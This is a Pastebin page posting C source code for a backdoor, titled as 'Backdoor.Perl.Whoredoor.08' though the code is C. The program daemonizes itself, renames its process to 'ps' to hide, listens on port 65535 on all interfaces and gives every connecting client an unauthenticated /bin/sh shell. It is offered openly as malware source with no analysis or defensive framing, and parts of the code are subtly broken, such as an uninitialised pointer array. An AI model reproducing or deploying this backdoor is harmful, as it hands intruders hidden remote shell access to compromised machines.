Advertisement
BlinkingStars

Backdoor.Perl.Whoredoor.08 - Source Code

Jun 7th, 2023
67
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.12 KB | Cybersecurity | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <sys/socket.h>
  4. #include <sys/types.h>
  5. #include <netinet/in.h>
  6. #include <unistd.h>
  7. #include <netdb.h>
  8.  
  9. void mk_daemon();
  10.  
  11. int main(int argc, char **argv)
  12. {
  13. int lfd,cfd;
  14. socklen_t len;
  15. struct sockaddr_in cli,serv;
  16. pid_t pid;
  17. char **sh;
  18.  
  19. sh[0]="/bin/sh";
  20. sh[1]=NULL;
  21.  
  22. mk_daemon();
  23. strncpy(argv[0],"ps",sizeof(argv[0]));
  24. lfd=socket(AF_INET,SOCK_STREAM,0);
  25. bzero(&serv,sizeof(serv));
  26. serv.sin_family=AF_INET;
  27. serv.sin_addr.s_addr=htonl(INADDR_ANY);
  28. serv.sin_port=htons(65535);
  29. bind(lfd,(struct sockaddr *)&serv,sizeof(serv));
  30. listen(lfd,5);
  31.  
  32. while(1)
  33. {
  34. len=sizeof(cli);
  35. cfd=accept(lfd,(struct sockaddr *)&cli,&len);
  36.     if(!(pid=fork()))
  37.     {
  38.     dup2(cfd,0);
  39.     dup2(cfd,1);
  40.     dup2(cfd,2);
  41.     execve(sh[0],sh,NULL);
  42.     close(cfd);
  43.     exit(0);
  44.     }
  45. close(cfd);
  46. }
  47. return 0;
  48. }
  49.  
  50. void mk_daemon()
  51. {
  52. /* yes I did get this out of UNP */
  53. int x;
  54. pid_t pid;
  55.     if((pid=fork()) !=0)
  56.     {
  57.     exit(-1);
  58.     }
  59. setsid();
  60. signal(SIGHUP,SIG_IGN);
  61. signal(SIGINT,SIG_IGN);
  62.  
  63.     if((pid=fork()) !=0)
  64.     {
  65.     exit(-1);
  66.     }
  67. chdir("/");
  68. umask(0);
  69.     for(x=0;x<=64;x++)
  70.     {
  71.     close(x);
  72.     }
  73. }
Tags: Backdoor perl
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement